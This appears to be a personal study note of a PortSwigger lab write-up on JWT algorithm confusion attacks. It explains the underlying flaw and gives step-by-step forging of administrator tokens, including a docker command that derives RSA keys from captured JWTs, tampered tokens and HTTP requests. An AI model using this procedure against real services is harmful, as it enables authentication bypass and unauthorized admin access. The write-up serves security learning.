Quote

Algorithm confusion attacks (also known as key confusion attacks) occur when an attacker is able to force the server to verify the signature of a JSON web token (JWT) using a different algorithm than is intended by the website’s developers.

How Do Algorithm Confusion Vulnerabilities Arise?

Many libraries provide a single, algorithm-agnostic method for verifying signatures that relies on the alg parameter in the token’s header:

function verify(token, secretOrPublicKey){
    algorithm = token.getAlgHeader();
    if(algorithm == "RS256"){
        // Use the provided key as an RSA public key
    } else if (algorithm == "HS256"){
        // Use the provided key as an HMAC secret key
    }
}

Problems arise when website developers use this method assume that it will exclusively handle JWTs signed using an asymmetric algorithm like RS256. Due to this flawed assumption, they may always pass a fixed public key to the method as follows:

publicKey = <public-key-of-server>;
token = request.getCookie("session");
verify(token, publicKey);

In this case, if the server receives a token signed using a symmetric algorithm like HS256, the library’s generic verify() method will treat the public key as an HMAC secret. An attacker could sign the token using HS256 and the public key, and the server will use the same public key to verify the signature.

Performing an Algorithm Confusion Attack

An algorithm confusion attack generally involves the following high-level steps:

  1. Obtain the server’s public key: servers sometimes expose JWK via a standard endpoint mapped to /jwks.json or /.well-known/jwks.json.
  2. Convert the public key to a suitable format: in addition to being in the same format, every single byte must match, including any non-printing characters.
  3. Create a malicious JWT with a modified payload and the alg header set to HS256.
  4. Sign the token with HS256, using the public key as the secret.

To convert the public key to a suitable format using JWT Editor extension:

  1. With the extension loaded, in Burp’s main tab bar, go to the JWT Editor Keys tab.
  2. Click New RSA Key. In the dialog, paste the JWK that you obtained earlier.
  3. Select the PEM radio button and copy the resulting PEM key.
  4. Go to the Decoder tab and Base64-encode the PEM.
  5. Go back to the JWT Editor Keys tab and click New Symmetric Key.
  6. In the dialog, click Generate to generate a new key in JWK format.
  7. Replace the generated value for the k parameter with a Base64-encoded PEM key that you just copied.
  8. Save the key.

Lab: JWT Authentication Bypass via Algorithm Confusion

There is a public key located at /jwks.json endpoint:

{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "use": "sig",
      "kid": "45bf4efc-fd8b-4e80-9371-ffb6e993b22c",
      "alg": "RS256",
      "n": "oGS2cxDYy9SX1wEp_2v1gbsm0qVy2yZ6SLK9-YG5cTMW-SD1rfCdCzcLOO7vCJc69ICJH_LB8WsHNqYBiday_XnZCOya7SC-0ZGaOE3mN-OFxahhlB-VDPH30w1CWHC_4z2TQlwDGj-z8PfC4X-FyAgOovBBjkwZkay8jloAFKkPZeFstwiJl14lyWQFweFcpoUWzKuPrx8aO5udmwgn1iqqyeEVN0ohJLI__L2cW0tMpsC5qUYWRJtJIzfDZtAadIg60VZZexZe6JTzuA90fG0j9_g3tv9VndVomZdmg9i34arm2lYhu374Z0HeV0l4awTUBobPKuMbGjCCeBWNQQ"
    }
  ]
}

The public key in PEM format:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoGS2cxDYy9SX1wEp/2v1
gbsm0qVy2yZ6SLK9+YG5cTMW+SD1rfCdCzcLOO7vCJc69ICJH/LB8WsHNqYBiday
/XnZCOya7SC+0ZGaOE3mN+OFxahhlB+VDPH30w1CWHC/4z2TQlwDGj+z8PfC4X+F
yAgOovBBjkwZkay8jloAFKkPZeFstwiJl14lyWQFweFcpoUWzKuPrx8aO5udmwgn
1iqqyeEVN0ohJLI//L2cW0tMpsC5qUYWRJtJIzfDZtAadIg60VZZexZe6JTzuA90
fG0j9/g3tv9VndVomZdmg9i34arm2lYhu374Z0HeV0l4awTUBobPKuMbGjCCeBWN
QQIDAQAB
-----END PUBLIC KEY-----

Follow the above steps to turn the public key into a symmetric key:

{
    "kty": "oct",
    "kid": "b5958b22-a52c-4244-90e2-2fac9419276b",
    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFvR1MyY3hEWXk5U1gxd0VwLzJ2MQpnYnNtMHFWeTJ5WjZTTEs5K1lHNWNUTVcrU0QxcmZDZEN6Y0xPTzd2Q0pjNjlJQ0pIL0xCOFdzSE5xWUJpZGF5Ci9YblpDT3lhN1NDKzBaR2FPRTNtTitPRnhhaGhsQitWRFBIMzB3MUNXSEMvNHoyVFFsd0RHait6OFBmQzRYK0YKeUFnT292QkJqa3daa2F5OGpsb0FGS2tQWmVGc3R3aUpsMTRseVdRRndlRmNwb1VXekt1UHJ4OGFPNXVkbXdnbgoxaXFxeWVFVk4wb2hKTEkvL0wyY1cwdE1wc0M1cVVZV1JKdEpJemZEWnRBYWRJZzYwVlpaZXhaZTZKVHp1QTkwCmZHMGo5L2czdHY5Vm5kVm9tWmRtZzlpMzRhcm0ybFlodTM3NFowSGVWMGw0YXdUVUJvYlBLdU1iR2pDQ2VCV04KUVFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}

Change header and payload into this:

{
    "kid": "45bf4efc-fd8b-4e80-9371-ffb6e993b22c",
    "alg": "HS256"
}
{
    "iss": "portswigger",
    "exp": 1724684812,
    "sub": "administrator"
}

Sign it with the generated symmetric key and send the request.

Deriving Public Keys From Existing Tokens

You may still be able to test for algorithm confusion by deriving the key from a pair of existing JWTs. This process is relatively simple using tools such as jwt_forgery.py. You can find this, along with several other useful scripts, on the silentsignal/rsa_sign2n.

We have also created a simplified version of this tool, which you can run as a single command:

docker run --rm -it portswigger/sig2n <token1> <token2>

This uses the JWTs that you provide to calculate one or more potential values of n. For each potential value, our script outputs:

  • A Base64-encoded PEM key in both X.509 and PKCS1 format.
  • A forged JWT signed using each of these keys.

Lab: JWT Authentication Bypass via Algorithm Confusion with No Exposed Key

Capture 2 JWTs:

JWT 1

eyJraWQiOiIzOTkzZWE1NC04Zjk3LTQ2NTAtODk2NS1mZTUwNWVkZmMxZWUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNDY4NjAwNiwic3ViIjoid2llbmVyIn0.N2CKaJN75qF3yLq8CwMwUkYbpiGBlAx-AoYOplNJu_z5Nm2Tb0ex7r8t7FRRyuzVZapaEajx3_gxF-Fq836Yw7-0eGm1nx0nv7MB8gWOVuSLxgCSe-1In4J9kU69cs9unDEcyyvxKumVSUNofmAiMOI4aKob7iFZ-At5a9NxqWvlHXYn9DYUzdOsZzGNENrVDXFHR2nbkK2ELZ1XQfyVotebWRRkLNoQdDhEtoTpOBN8uJ34oxRQq1Xpq-tPHQlb8YdI8EGkSWGgN5uq8I3ec_0sqviX44n1DYXSdK76h-sDlklZpmnJLjsbQy3TzYliIdK8DweiJFysKRHqeT_Spw

JWT 2

eyJraWQiOiIzOTkzZWE1NC04Zjk3LTQ2NTAtODk2NS1mZTUwNWVkZmMxZWUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNDY4NjA1MCwic3ViIjoid2llbmVyIn0.jVQiyehvwbtIAaUq8gBMXCJg_fxqVEdP9VoDuwcWnTOmE1M47Skmm685abokdwystSjgH9KPNf270P4imUDhNxPX7L2dAvEr5ngAgUE1qgjJitCHNDy8nPzvzZ8rH7uYaEVRhNafjXynZMokMOJVRFX2bsM6uwsTcunIW9kfVDqDzSW8uTZhiYg5IVNm_1BE9VveF_p56F58LwB138AlFZmT-p4ApdPH-tnEzyu2FR3GkHzxAkZBfQeSWZxx74dDpunkuEsmrTBUhPUq9Go5a5JHHTZ3zzRGUnvGkx8fwRLEP5YByUf9dX8gqmWqCWUWNmsEv3CEOFxBhnUQVS-Jcw

Use the docker command:

seed@VM:~$ docker run --rm -it portswigger/sig2n eyJraWQiOiIzOTkzZWE1NC04Zjk3LTQ2NTAtODk2NS1mZTUwNWVkZmMxZWUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNDY4NjAwNiwic3ViIjoid2llbmVyIn0.N2CKaJN75qF3yLq8CwMwUkYbpiGBlAx-AoYOplNJu_z5Nm2Tb0ex7r8t7FRRyuzVZapaEajx3_gxF-Fq836Yw7-0eGm1nx0nv7MB8gWOVuSLxgCSe-1In4J9kU69cs9unDEcyyvxKumVSUNofmAiMOI4aKob7iFZ-At5a9NxqWvlHXYn9DYUzdOsZzGNENrVDXFHR2nbkK2ELZ1XQfyVotebWRRkLNoQdDhEtoTpOBN8uJ34oxRQq1Xpq-tPHQlb8YdI8EGkSWGgN5uq8I3ec_0sqviX44n1DYXSdK76h-sDlklZpmnJLjsbQy3TzYliIdK8DweiJFysKRHqeT_Spw eyJraWQiOiIzOTkzZWE1NC04Zjk3LTQ2NTAtODk2NS1mZTUwNWVkZmMxZWUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNDY4NjA1MCwic3ViIjoid2llbmVyIn0.jVQiyehvwbtIAaUq8gBMXCJg_fxqVEdP9VoDuwcWnTOmE1M47Skmm685abokdwystSjgH9KPNf270P4imUDhNxPX7L2dAvEr5ngAgUE1qgjJitCHNDy8nPzvzZ8rH7uYaEVRhNafjXynZMokMOJVRFX2bsM6uwsTcunIW9kfVDqDzSW8uTZhiYg5IVNm_1BE9VveF_p56F58LwB138AlFZmT-p4ApdPH-tnEzyu2FR3GkHzxAkZBfQeSWZxx74dDpunkuEsmrTBUhPUq9Go5a5JHHTZ3zzRGUnvGkx8fwRLEP5YByUf9dX8gqmWqCWUWNmsEv3CEOFxBhnUQVS-Jcw
Running command: python3 jwt_forgery.py <token1> <token2>
 
Found n with multiplier 1:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFuRS9HLzM4eHpvZGN3aUNzK1poQwpSODV0QmdpLzFQMXNKR01rQTU2cnhZS0dnV3lONFNma1lzTDZnTTh0Y2RBaHljN2hPTG95cWVvWUJPVTdVTExRClZLWTZ1blFEeWhFL1FyKzFCakllOEFKY2ZsOVVUaTgyRzZPMkdHSEROZFV0d0ZTUTdyVFpCTVU4S096aktRdm8KYU42VDZyVTQzWVVtQVBjUkpxTDdmVzJJRWNWai9UNXVNYzQ4dUxWWVBvM2hjQkJBQXR6elJhNjVlZHg4MkdCcApxQVFnQ3dpOEpuUGxQcGtEbFc4RU1rTHhKZ2YzL3QrWFJBTGZoclVSOHFYSGxQbXhwRFRtTWs4ZU5UWjZrZ0s0CnVWajAzN3VrS2FaRTM3SzgyenkxNXNEKzJocExNQ0x2VVlaQ3B3RzZoby9lcG5IRFVvbFFsZ3UwMDB5SWx5TFcKTVFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJraWQiOiIzOTkzZWE1NC04Zjk3LTQ2NTAtODk2NS1mZTUwNWVkZmMxZWUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTcyNDc2OTQ3MiwgInN1YiI6ICJ3aWVuZXIifQ.Ej7tklkD_HntGRrYnNc71GEH-9exM3MXnHwFCG8hCpY
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQW5FL0cvMzh4em9kY3dpQ3MrWmhDUjg1dEJnaS8xUDFzSkdNa0E1NnJ4WUtHZ1d5TjRTZmsKWXNMNmdNOHRjZEFoeWM3aE9Mb3lxZW9ZQk9VN1VMTFFWS1k2dW5RRHloRS9RcisxQmpJZThBSmNmbDlVVGk4MgpHNk8yR0dIRE5kVXR3RlNRN3JUWkJNVThLT3pqS1F2b2FONlQ2clU0M1lVbUFQY1JKcUw3ZlcySUVjVmovVDV1Ck1jNDh1TFZZUG8zaGNCQkFBdHp6UmE2NWVkeDgyR0JwcUFRZ0N3aThKblBsUHBrRGxXOEVNa0x4SmdmMy90K1gKUkFMZmhyVVI4cVhIbFBteHBEVG1NazhlTlRaNmtnSzR1VmowMzd1a0thWkUzN0s4Mnp5MTVzRCsyaHBMTUNMdgpVWVpDcHdHNmhvL2VwbkhEVW9sUWxndTAwMHlJbHlMV01RSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJraWQiOiIzOTkzZWE1NC04Zjk3LTQ2NTAtODk2NS1mZTUwNWVkZmMxZWUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTcyNDc2OTQ3MiwgInN1YiI6ICJ3aWVuZXIifQ.1ixc3w-gRsczNd-R6mxvMrIkC9A1BpSCFjpXYzWryhw

Use the first Tampered JWT to send a request:

GET /my-account?id=wiener HTTP/2
Host: 0a1400e203e3d43381580c3d00730099.web-security-academy.net
Cookie: session=eyJraWQiOiIzOTkzZWE1NC04Zjk3LTQ2NTAtODk2NS1mZTUwNWVkZmMxZWUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTcyNDc2OTQ3MiwgInN1YiI6ICJ3aWVuZXIifQ.Ej7tklkD_HntGRrYnNc71GEH-9exM3MXnHwFCG8hCpY
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Referer: https://0a1400e203e3d43381580c3d00730099.web-security-academy.net/login

The response indicates that the JWT we used is correct:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3424

Use the matching key to generate a symmetric key:

{
    "kty": "oct",
    "kid": "56bad02a-08a8-42e3-8b82-689607017abf",
    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFuRS9HLzM4eHpvZGN3aUNzK1poQwpSODV0QmdpLzFQMXNKR01rQTU2cnhZS0dnV3lONFNma1lzTDZnTTh0Y2RBaHljN2hPTG95cWVvWUJPVTdVTExRClZLWTZ1blFEeWhFL1FyKzFCakllOEFKY2ZsOVVUaTgyRzZPMkdHSEROZFV0d0ZTUTdyVFpCTVU4S096aktRdm8KYU42VDZyVTQzWVVtQVBjUkpxTDdmVzJJRWNWai9UNXVNYzQ4dUxWWVBvM2hjQkJBQXR6elJhNjVlZHg4MkdCcApxQVFnQ3dpOEpuUGxQcGtEbFc4RU1rTHhKZ2YzL3QrWFJBTGZoclVSOHFYSGxQbXhwRFRtTWs4ZU5UWjZrZ0s0CnVWajAzN3VrS2FaRTM3SzgyenkxNXNEKzJocExNQ0x2VVlaQ3B3RzZoby9lcG5IRFVvbFFsZ3UwMDB5SWx5TFcKTVFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}

Modify header and payload:

{
    "kid": "3993ea54-8f97-4650-8965-fe505edfc1ee",
    "alg": "HS256"
}
{
    "iss": "portswigger",
    "exp": 1724686050,
    "sub": "administrator"
}

Sign it with the symmetric key and send to /admin endpoint. Then, we should able to access the admin panel.

list
from outgoing([[Port Swigger - JWT Algorithm Confusion Attacks]])
sort file.ctime asc

Resources

Algorithm confusion attacks | Web Security Academy (portswigger.net)